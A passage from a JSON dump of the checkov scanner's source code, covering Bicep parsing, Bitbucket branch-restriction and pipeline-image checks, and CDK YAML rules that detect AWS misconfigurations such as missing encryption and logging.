os.walk(root_folder):\n        filter_ignored_paths(root, d_names, excluded_paths)\n        filter_ignored_paths(root, f_names, excluded_paths)\n        for file in f_names:\n            file_ending = os.path.splitext(file)[1]\n            if file_ending in BICEP_POSSIBLE_ENDINGS:\n                full_path = os.path.join(root, file)\n                files_list.add(Path(full_path))\n    parser = Parser()\n\n    return parser.get_files_definitions(files_list)\n\n\ndef create_definitions(\n    root_folder: str,\n    files: \"Collection[Path] | None\" = None,\n    runner_filter: RunnerFilter | None = None,\n) -> tuple[dict[Path, BicepJson], dict[Path, list[tuple[int, str]]]]:\n    definitions: dict[Path, BicepJson] = {}\n    definitions_raw: dict[Path, list[tuple[int, str]]] = {}\n    parsing_errors: list[str] = []\n    runner_filter = runner_filter or RunnerFilter()\n\n    if files:\n        parser = Parser()\n        definitions, definitions_raw, parsing_errors = parser.get_files_definitions(file_paths=files)\n\n    if root_folder:\n        definitions, definitions_raw, parsing_errors = get_folder_definitions(root_folder, runner_filter.excluded_paths)\n\n    if parsing_errors:\n        logging.warning(f\"[bicep] found errors while parsing definitions: {parsing_errors}\")\n\n    return definitions, definitions_raw\n"
  },
  {
    "path": "checkov/bitbucket/__init__.py",
    "content": "from checkov.bitbucket.checks import *  # noqa\n"
  },
  {
    "path": "checkov/bitbucket/base_bitbucket_configuration_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.bitbucket.registry import registry\nfrom checkov.common.checks.base_check import BaseCheck\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass BaseBitbucketCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_entities: Iterable[str],\n        block_type: str,\n        path: str | None = None,\n        guideline: str | None = None,\n    ):\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=block_type,\n            guideline=guideline,\n        )\n        self.path = path\n        registry.register(self)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]] | None:  # type:ignore[override]  # multi_signature decorator is problematic\n        self.entity_type = entity_type\n\n        return self.scan_conf(conf)\n\n    @abstractmethod\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]] | None:\n        pass\n"
  },
  {
    "path": "checkov/bitbucket/checks/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/bitbucket/checks/merge_requests_approvals.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.bitbucket.base_bitbucket_configuration_check import BaseBitbucketCheck\nfrom checkov.bitbucket.schemas.branch_restrictions import schema as branch_restrictions_schema\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.json_doc.enums import BlockType\n\n\nclass MergeRequestRequiresApproval(BaseBitbucketCheck):\n    def __init__(self) -> None:\n        name = \"Merge requests should require at least 2 approvals\"\n        id = \"CKV_BITBUCKET_1\"\n        categories = (CheckCategories.SUPPLY_CHAIN,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=(\"*\",),\n            block_type=BlockType.DOCUMENT\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]] | None:\n        if branch_restrictions_schema.validate(conf):\n            for value in conf.get(\"values\", []):\n                if value.get('kind', '') == 'require_approvals_to_merge':\n                    if value.get('value', 0) >= 2:\n                        return CheckResult.PASSED, conf\n            return CheckResult.FAILED, conf\n\n        return None\n\n\ncheck = MergeRequestRequiresApproval()\n"
  },
  {
    "path": "checkov/bitbucket/dal.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom typing import Any\n\nimport requests\n\nfrom checkov.common.runners.base_runner import strtobool\nfrom checkov.common.vcs.base_vcs_dal import BaseVCSDAL\n\n\nclass Bitbucket(BaseVCSDAL):\n    def setup_conf_dir(self) -> None:\n        \"\"\"\n            discover parameters from execution context of checkov and determine the directory to save temporal files of vcs configuration\n        \"\"\"\n        bitbucket_conf_dir_name = os.getenv('CKV_BITBUCKET_CONF_DIR_NAME', 'bitbucket_conf')\n        self.bitbucket_conf_dir_path = os.path.join(os.getcwd(), bitbucket_conf_dir_name)\n        self.bitbucket_branch_restrictions_file_path = os.path.join(self.bitbucket_conf_dir_path,\n                                                                    \"branch_restrictions.json\")\n\n    def discover(self) -> None:\n        \"\"\"\n            discover parameters from execution context of checkov. usually from env variable\n        \"\"\"\n        server_host = os.getenv('CI_SERVER_URL', \"https://api.bitbucket.org/\")\n        self.api_url = f'{server_host}2.0'\n        self.graphql_api_url = f\"{server_host}api/graphql\"\n\n        self.token = os.getenv('APP_PASSWORD', '')\n\n        self.current_repository = os.getenv('BITBUCKET_REPO_FULL_NAME', '')\n        self.current_branch = os.getenv('BITBUCKET_BRANCH', '')\n        self.default_branch_cache = {}\n        self.username = os.getenv('BITBUCKET_USERNAME', '')\n\n    def _request(self, endpoint: str, allowed_status_codes: list[int]) -> dict[str, Any] | None:\n        if not self.token:\n            return None\n        url_endpoint = f\"{self.api_url}/{endpoint}\"\n        try:\n            s = requests.Session()\n            s.auth = (self.username, self.token)\n            request = s.get(url_endpoint)\n            if request.status_code in allowed_status_codes:\n                data: \"dict[str, Any]\" = request.json()\n                if isinstance(data, dict) and 'errors' in data.keys():\n                    return None\n                return data\n            else:\n                request.raise_for_status()\n        except Exception:\n            logging.debug(f\"Query failed to run by returning code of {url_endpoint}\", exc_info=True)\n\n        return None\n\n    def _headers(self) -> dict[str, Any]:\n        # not needed here\n        return {}\n\n    def get_branch_restrictions(self) -> dict[str, Any] | None:\n        if self.current_repository:\n            branch_restrictions = self._request(endpoint=f\"repositories/{self.current_repository}/branch-restrictions\",\n                                                allowed_status_codes=[200])\n            return branch_restrictions\n        logging.debug(\"Environment variable BITBUCKET_REPO_FULL_NAME was not set. Cannot fetch branch restrictions.\")\n        return None\n\n    def persist_branch_restrictions(self) -> None:\n        branch_restrictions = self.get_branch_restrictions()\n\n        if branch_restrictions:\n            BaseVCSDAL.persist(path=self.bitbucket_branch_restrictions_file_path, conf=branch_restrictions)\n\n    def persist_all_confs(self) -> None:\n        if strtobool(os.getenv(\"CKV_BITBUCKET_CONFIG_FETCH_DATA\", \"True\")):\n            self.persist_branch_restrictions()\n"
  },
  {
    "path": "checkov/bitbucket/registry.py",
    "content": "from checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.json_doc.base_registry import Registry\n\nregistry = Registry(CheckType.BITBUCKET_CONFIGURATION)\n"
  },
  {
    "path": "checkov/bitbucket/runner.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.bitbucket.dal import Bitbucket\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.json_doc.runner import Runner as JsonRunner\nfrom checkov.runner_filter import RunnerFilter\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check_registry import BaseCheckRegistry\n    from checkov.common.output.report import Report\n\n\nclass Runner(JsonRunner):\n    check_type = CheckType.BITBUCKET_CONFIGURATION  # noqa: CCE003  # a static attribute\n\n    def __init__(self) -> None:\n        self.bitbucket = Bitbucket()\n        super().__init__()\n\n    def run(\n        self,\n        root_folder: str | None = None,\n        external_checks_dir: list[str] | None = None,\n        files: list[str] | None = None,\n        runner_filter: RunnerFilter | None = None,\n        collect_skip_comments: bool = True\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        self.prepare_data()\n\n        report = super().run(\n            root_folder=self.bitbucket.bitbucket_conf_dir_path,\n            external_checks_dir=external_checks_dir,\n            files=None,  # ignore file scans\n            runner_filter=runner_filter,\n            collect_skip_comments=collect_skip_comments,\n        )\n\n        return report\n\n    def prepare_data(self) -> None:\n        self.bitbucket.persist_all_confs()\n\n    def require_external_checks(self) -> bool:\n        # default json runner require only external checks. Bitbucket runner brings build in checks\n        return False\n\n    def import_registry(self) -> BaseCheckRegistry:\n        from checkov.bitbucket.registry import registry\n        return registry\n"
  },
  {
    "path": "checkov/bitbucket/schemas/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/bitbucket/schemas/branch_restrictions.py",
    "content": "from checkov.common.vcs.vcs_schema import VCSSchema\n\n\nclass BranchRestrictionsSchema(VCSSchema):\n    def __init__(self) -> None:\n        schema = \\\n            {\n                \"$schema\": \"http://json-schema.org/draft-04/schema#\",\n                \"type\": \"object\",\n                \"properties\": {\n                    \"pagelen\": {\n                        \"type\": \"integer\"\n                    },\n                    \"values\": {\n                        \"type\": \"array\",\n                        \"items\": [\n                            {\n                                \"type\": \"object\",\n                                \"properties\": {\n                                    \"kind\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"users\": {\n                                        \"type\": \"array\",\n                                        \"items\": {}\n                                    },\n                                    \"links\": {\n                                        \"type\": \"object\",\n                                        \"properties\": {\n                                            \"self\": {\n                                                \"type\": \"object\",\n                                                \"properties\": {\n                                                    \"href\": {\n                                                        \"type\": \"string\"\n                                                    }\n                                                },\n                                                \"required\": [\n                                                    \"href\"\n                                                ]\n                                            }\n                                        },\n                                        \"required\": [\n                                            \"self\"\n                                        ]\n                                    },\n                                    \"pattern\": {\n                                        \"type\": \"string\"\n                                    },\n\n                                    \"branch_match_kind\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"groups\": {\n                                        \"type\": \"array\",\n                                        \"items\": {}\n                                    },\n                                    \"type\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"id\": {\n                                        \"type\": \"integer\"\n                                    }\n                                },\n                                \"required\": [\n                                    \"kind\",\n                                    \"users\",\n                                    \"links\",\n                                    \"pattern\",\n                                    \"branch_match_kind\",\n                                    \"groups\",\n                                    \"type\",\n                                    \"id\"\n                                ]\n                            },\n                            {\n                                \"type\": \"object\",\n                                \"properties\": {\n                                    \"kind\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"users\": {\n                                        \"type\": \"array\",\n                                        \"items\": {}\n                                    },\n                                    \"links\": {\n                                        \"type\": \"object\",\n                                        \"properties\": {\n                                            \"self\": {\n                                                \"type\": \"object\",\n                                                \"properties\": {\n                                                    \"href\": {\n                                                        \"type\": \"string\"\n                                                    }\n                                                },\n                                                \"required\": [\n                                                    \"href\"\n                                                ]\n                                            }\n                                        },\n                                        \"required\": [\n                                            \"self\"\n                                        ]\n                                    },\n                                    \"pattern\": {\n                                        \"type\": \"string\"\n                                    },\n\n                                    \"branch_match_kind\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"groups\": {\n                                        \"type\": \"array\",\n                                        \"items\": {}\n                                    },\n                                    \"type\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"id\": {\n                                        \"type\": \"integer\"\n                                    }\n                                },\n                                \"required\": [\n                                    \"kind\",\n                                    \"users\",\n                                    \"links\",\n                                    \"pattern\",\n                                    \"branch_match_kind\",\n                                    \"groups\",\n                                    \"type\",\n                                    \"id\"\n                                ]\n                            },\n                            {\n                                \"type\": \"object\",\n                                \"properties\": {\n                                    \"kind\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"users\": {\n                                        \"type\": \"array\",\n                                        \"items\": {}\n                                    },\n                                    \"links\": {\n                                        \"type\": \"object\",\n                                        \"properties\": {\n                                            \"self\": {\n                                                \"type\": \"object\",\n                                                \"properties\": {\n                                                    \"href\": {\n                                                        \"type\": \"string\"\n                                                    }\n                                                },\n                                                \"required\": [\n                                                    \"href\"\n                                                ]\n                                            }\n                                        },\n                                        \"required\": [\n                                            \"self\"\n                                        ]\n                                    },\n                                    \"pattern\": {\n                                        \"type\": \"string\"\n                                    },\n\n                                    \"branch_match_kind\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"groups\": {\n                                        \"type\": \"array\",\n                                        \"items\": {}\n                                    },\n                                    \"type\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"id\": {\n                                        \"type\": \"integer\"\n                                    }\n                                },\n                                \"required\": [\n                                    \"kind\",\n                                    \"users\",\n                                    \"links\",\n                                    \"pattern\",\n                                    \"branch_match_kind\",\n                                    \"groups\",\n                                    \"type\",\n                                    \"id\"\n                                ]\n                            }\n                        ]\n                    },\n                    \"page\": {\n                        \"type\": \"integer\"\n                    },\n                    \"size\": {\n                        \"type\": \"integer\"\n                    }\n                },\n                \"required\": [\n                    \"pagelen\",\n                    \"values\",\n                    \"page\",\n                    \"size\"\n                ]\n            }\n        super().__init__(schema=schema)\n\n\nschema = BranchRestrictionsSchema()\n"
  },
  {
    "path": "checkov/bitbucket_pipelines/__init__.py",
    "content": "from checkov.bitbucket_pipelines.checks import *  # noqa\n"
  },
  {
    "path": "checkov/bitbucket_pipelines/base_bitbucket_pipelines_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.common.checks.base_check import BaseCheck\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.bitbucket_pipelines.registry import registry\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckResult\n\n\nclass BaseBitbucketPipelinesCheck(BaseCheck):\n    def __init__(\n        self, name: str, id: str, supported_entities: Iterable[str], block_type: str, path: str | None = None\n    ) -> None:\n        categories = (CheckCategories.SUPPLY_CHAIN,)\n\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=block_type,\n        )\n        self.path = path\n        registry.register(self)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        self.entity_type = entity_type\n\n        return self.scan_conf(conf)\n\n    @abstractmethod\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        pass\n"
  },
  {
    "path": "checkov/bitbucket_pipelines/checks/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/bitbucket_pipelines/checks/latest_image.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.bitbucket_pipelines.base_bitbucket_pipelines_check import BaseBitbucketPipelinesCheck\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass ImageReferenceLatestTag(BaseBitbucketPipelinesCheck):\n    def __init__(self) -> None:\n        name = \"Ensure the pipeline image uses a non latest version tag\"\n        id = \"CKV_BITBUCKETPIPELINES_1\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.ARRAY,\n            supported_entities=(\n                \"[{image:image,__startline__:__startline__,__endline__:__endline__}]\",\n                \"pipelines.default[].step.{image: image, __startline__: __startline__, __endline__:__endline__}\",\n                \"pipelines.*.[*][][][].step.{image: image, __startline__: __startline__, __endline__:__endline__}\",\n            ),\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        if not isinstance(conf, dict):\n            return CheckResult.UNKNOWN, conf\n        image = conf.get(\"image\")\n        if not image:\n            return CheckResult.UNKNOWN, conf\n        if isinstance(image, str):\n            if image.endswith(\":latest\"):\n                return CheckResult.FAILED, conf\n\n        return CheckResult.PASSED, conf\n\n\ncheck = ImageReferenceLatestTag()\n"
  },
  {
    "path": "checkov/bitbucket_pipelines/registry.py",
    "content": "from checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.yaml_doc.base_registry import Registry\n\nregistry = Registry(CheckType.BITBUCKET_PIPELINES)\n"
  },
  {
    "path": "checkov/bitbucket_pipelines/runner.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, TYPE_CHECKING\n\nfrom checkov.bitbucket_pipelines.registry import registry\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.yaml_doc.runner import Runner as YamlRunner\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check_registry import BaseCheckRegistry\n\n\nclass Runner(YamlRunner):\n    check_type = CheckType.BITBUCKET_PIPELINES  # noqa: CCE003  # a static attribute\n\n    def __init__(self) -> None:\n        super().__init__()\n\n    def require_external_checks(self) -> bool:\n        return False\n\n    def import_registry(self) -> BaseCheckRegistry:\n        return registry\n\n    @staticmethod\n    def is_workflow_file(file_path: str) -> bool:\n        \"\"\"\n        :return: True if the file mentioned is named bitbucket-pipelines.yml. Otherwise: False\n        \"\"\"\n        return file_path.endswith((\"bitbucket-pipelines.yml\", \"bitbucket-pipelines.yaml\"))\n\n    @staticmethod\n    def _parse_file(\n        f: str, file_content: str | None = None\n    ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n        if Runner.is_workflow_file(f):\n            return YamlRunner._parse_file(f)\n\n        return None\n"
  },
  {
    "path": "checkov/cdk/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/cdk/checks/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/cdk/checks/python/ALBDropHttpHeaders.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_131\n  name: Ensure that ALB drops HTTP headers\n  category: NETWORKING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer(<ANY>)\n  conditions:\n    - not_pattern: |\n        aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer(<ANY>, type='application' ,<ANY>, load_balancer_attributes=[<ANY>, {'key': 'routing.http.drop_invalid_header_fields.enabled','value': 'true'} ,<ANY>] ,<ANY>)\n    - not_pattern: |\n        aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer(<ANY>, type='application' ,<ANY>, load_balancer_attributes=[<ANY>, {'value': 'true','key': 'routing.http.drop_invalid_header_fields.enabled'} ,<ANY>] ,<ANY>)\n    - not_pattern: |\n        aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer(<ANY>, load_balancer_attributes=[<ANY>, {'key': 'routing.http.drop_invalid_header_fields.enabled','value': 'true'} ,<ANY>] ,<ANY>, type='application' ,<ANY>)\n    - not_pattern: |\n        aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer(<ANY>, load_balancer_attributes=[<ANY>, {'value': 'true','key': 'routing.http.drop_invalid_header_fields.enabled'} ,<ANY>] ,<ANY>, type='application' ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/ALBListenerHTTPS.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_2\n  name: Ensure EFS is securely encrypted\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_elasticloadbalancingv2.CfnListener(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_elasticloadbalancingv2.CfnListener(<ANY>, protocol='HTTPS', <ANY>)\n    - not_pattern: aws_cdk.aws_elasticloadbalancingv2.CfnListener(<ANY>, protocol='TLS', <ANY>)\n    - not_pattern: aws_cdk.aws_elasticloadbalancingv2.CfnListener(<ANY>, protocol='TCP', <ANY>)\n    - not_pattern: aws_cdk.aws_elasticloadbalancingv2.CfnListener(<ANY>, protocol='UDP', <ANY>)\n    - not_pattern: aws_cdk.aws_elasticloadbalancingv2.CfnListener(<ANY>, protocol='TCP_UDP', <ANY>)\n    - not_pattern: |\n        aws_cdk.aws_elasticloadbalancingv2.CfnListener(<ANY>, default_actions=[<ANY>, {'type': 'redirect', 'redirectConfig':{'protocol': 'HTTPS'}} , <ANY>] , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/APIGatewayAccessLogging.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_76\n  name: Ensure API Gateway has Access Logging enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_apigateway.CfnStage(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_apigateway.CfnStage(<ANY>, access_log_setting=aws_cdk.aws_apigateway.CfnStage.AccessLogSettingProperty(<ANY>, destination_arn=$ARG , <ANY>) , <ANY>)\n          - not_pattern: |\n              $P = aws_cdk.aws_apigateway.CfnStage.AccessLogSettingProperty(<ANY>, destination_arn=$ARG , <ANY>)\n              <ANY>\n              aws_cdk.aws_apigateway.CfnStage(<ANY>, access_log_setting=$P, <ANY>)\n      - pattern: aws_cdk.aws_serverless.Api(<ANY>)\n        conditions:\n          - not_pattern: |\n              aws_cdk.aws_serverless.Api(<ANY>, default_stage={<ANY>, \"access_log_setting\": aws_cdk.aws_serverless.AccessLogSetting(<ANY>, destination_arn=$ARG,<ANY>), <ANY>} , <ANY>)\n          - not_pattern: |\n              $P = aws_cdk.aws_serverless.AccessLogSetting(<ANY>, destination_arn=$ARG , <ANY>)\n              <ANY>\n              aws_cdk.aws_serverless.Api(<ANY>, default_stage={<ANY>, \"access_log_setting\": $P, <ANY>}, <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/python/APIGatewayAuthorization.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_59\n  name: Ensure there is no open access to back-end resources through API\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_apigateway.Method(<ANY>, http_method=$ARG, <ANY>, authorization_type=aws_cdk.aws_apigateway.AuthorizationType.NONE, <ANY>, api_key_required=False, <ANY>)\n      - pattern: aws_cdk.aws_apigateway.Method(<ANY>, http_method=$ARG, <ANY>, api_key_required=False, <ANY>, authorization_type=aws_cdk.aws_apigateway.AuthorizationType.NONE, <ANY>)\n      - pattern: aws_cdk.aws_apigateway.Method(<ANY>, authorization_type=aws_cdk.aws_apigateway.AuthorizationType.NONE, <ANY>, http_method=$ARG, <ANY>, api_key_required=False, <ANY>)\n      - pattern: aws_cdk.aws_apigateway.Method(<ANY>, authorization_type=aws_cdk.aws_apigateway.AuthorizationType.NONE, <ANY>, api_key_required=False, <ANY>, http_method=$ARG, <ANY>)\n      - pattern: aws_cdk.aws_apigateway.Method(<ANY>, api_key_required=False, <ANY>, authorization_type=aws_cdk.aws_apigateway.AuthorizationType.NONE, <ANY>, http_method=$ARG, <ANY>)\n      - pattern: aws_cdk.aws_apigateway.Method(<ANY>, api_key_required=False, <ANY>, http_method=$ARG, <ANY>, authorization_type=aws_cdk.aws_apigateway.AuthorizationType.NONE, <ANY>)\n  conditions:\n    - metavariable: $ARG\n      not_regex: OPTIONS"
  },
  {
    "path": "checkov/cdk/checks/python/APIGatewayCacheEnable.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_120\n  name: Ensure API Gateway caching is enabled\n  category: BACKUP_AND_RECOVERY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_apigateway.Stage(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_apigateway.Stage(<ANY>, cache_cluster_enabled=True, <ANY>)\n      - pattern: aws_cdk.aws_sam.CfnApi(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_sam.CfnApi(<ANY>, cacheClusterEnabled=True , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/APIGatewayV2AccessLogging.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_95\n  name: Ensure API Gateway V2 has Access Logging enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_apigatewayv2.$FUNC(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_apigatewayv2.$FUNC(<ANY>, access_log_settings=aws_cdk.aws_apigatewayv2.$FUNC.AccessLogSettingsProperty(<ANY>, destination_arn=$ARG ,<ANY>) ,<ANY>)\n    - metavariable: $FUNC\n      regex: (CfnStage|CfnApi)\n"
  },
  {
    "path": "checkov/cdk/checks/python/APIGatewayXray.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_73\n  name: Ensure API Gateway has X-Ray Tracing enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.$MOD.CfnStage(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.$MOD.CfnStage(<ANY>, tracing_enabled=True , <ANY>)\n    - metavariable: $MOD\n      regex: (aws_apigateway|aws_apigateway2)"
  },
  {
    "path": "checkov/cdk/checks/python/AmazonMQBrokerPublicAccess.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_69\n  name: Ensure Amazon MQ Broker should not have public access\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_amazonmq.CfnBroker(<ANY>, publicly_accessible=True , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/AppSyncFieldLevelLogs.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_194\n  name: Ensure AppSync has Field-Level logs enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_appsync.CfnGraphQLApi(<ANY>)\n  conditions:\n    - not_pattern:\n        source: aws_cdk.aws_appsync.CfnGraphQLApi.LogConfigProperty(<ANY>, field_log_level=aws_cdk.aws_appsync.FieldLogLevel.$ARG , <ANY>)\n        sink: aws_cdk.aws_appsync.CfnGraphQLApi(<ANY>, log_config=$LOG , <ANY>)\n    - not_pattern: aws_cdk.aws_appsync.CfnGraphQLApi(<ANY>, log_config=aws_cdk.aws_appsync.CfnGraphQLApi.LogConfigProperty(<ANY>, field_log_level=aws_cdk.aws_appsync.FieldLogLevel.$ARG , <ANY>) , <ANY>)\n    - not_pattern: |\n        $LOG = aws_cdk.aws_appsync.CfnGraphQLApi.LogConfigProperty(<ANY>, field_log_level=aws_cdk.aws_appsync.FieldLogLevel.$ARG , <ANY>)\n        <ANY>\n        aws_cdk.aws_appsync.CfnGraphQLApi(<ANY>, log_config=$LOG , <ANY>)\n    - metavariable: $ARG\n      regex: (ERROR|ALL)"
  },
  {
    "path": "checkov/cdk/checks/python/AppSyncLogging.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_193\n  name: Ensure AppSync has Logging enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_appsync.CfnGraphQLApi(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_appsync.CfnGraphQLApi(<ANY>, log_config=aws_cdk.aws_appsync.CfnGraphQLApi.LogConfigProperty(<ANY>, cloud_watch_logs_role_arn=$ARG , <ANY>) , <ANY>)\n    - not_pattern: |\n        $LOG = aws_cdk.aws_appsync.CfnGraphQLApi.LogConfigProperty(<ANY>, cloud_watch_logs_role_arn=$ARG , <ANY>)\n        <ANY>\n        aws_cdk.aws_appsync.CfnGraphQLApi(<ANY>, log_config=$LOG , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/AthenaWorkgroupConfiguration.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_82\n  name: Ensure Athena Workgroup should enforce configuration to prevent client disabling encryption\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_athena.CfnWorkGroup(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_athena.CfnWorkGroup(<ANY>, work_group_configuration=aws_cdk.aws_athena.CfnWorkGroup.WorkGroupConfigurationProperty(<ANY>, enforce_work_group_configuration=True , <ANY>) , <ANY>)\n    - not_pattern: |\n        $ARG = aws_cdk.aws_athena.CfnWorkGroup.WorkGroupConfigurationProperty(<ANY>, enforce_work_group_configuration=True , <ANY>)\n        <ANY>\n        aws_cdk.aws_athena.CfnWorkGroup(<ANY>, work_group_configuration=$ARG , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/AuroraEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_96\n  name: Ensure all data stored in Aurora is securely encrypted at rest\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_rds.CfnDBCluster(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_rds.CfnDBCluster(<ANY>, storage_encrypted=True ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/BackupVaultEncrypted.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_166\n  name: Ensure Backup Vault is encrypted at rest using KMS CMK\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_backup.CfnBackupVault(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_backup.CfnBackupVault(<ANY>, encryption_key_arn=$ARG, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/CloudFrontTLS12.yaml",
